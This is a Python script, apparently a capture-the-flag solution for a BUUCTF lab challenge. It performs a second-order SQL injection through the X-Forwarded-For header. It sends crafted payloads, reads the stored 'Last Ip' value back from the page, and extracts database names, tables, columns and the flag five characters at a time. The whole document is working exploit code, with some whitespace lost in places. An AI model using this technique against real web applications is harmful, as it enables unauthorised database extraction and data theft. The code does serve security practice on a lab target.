url = "http://node4.buuoj.cn:27640/" defexecsql(sql): result = "" payload = "0'|length(("+sql+"))|'0" session = requests.session() r = session.get(url,headers={'X-Forwarded-For':payload}) r = session.get(url,headers={'X-Forwarded-For':'leekos'}) r = session.get(url,headers={'X-Forwarded-For':'leekos'}) start = r.text.find("Last Ip: ") + 9 end = r.text.find(" -->",start) length = int(r.text[start:end]) print("[+]长度:"+str(length))
for i inrange(1,length+1,5): # 1次查5个字符,妙 payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i) r = session.get(url, headers={'X-Forwarded-For': payload}) r = session.get(url, headers={'X-Forwarded-For': 'leekos'}) r = session.get(url, headers={'X-Forwarded-For': 'leekos'}) start = r.text.find("Last Ip: ") + 9 end = r.text.find(" -->", start) res = int(r.text[start:end]) result += bytes.fromhex(hex(res)[2:]).decode("utf-8") print(result)
return result
# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata")) # print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'")) # print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'")) print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))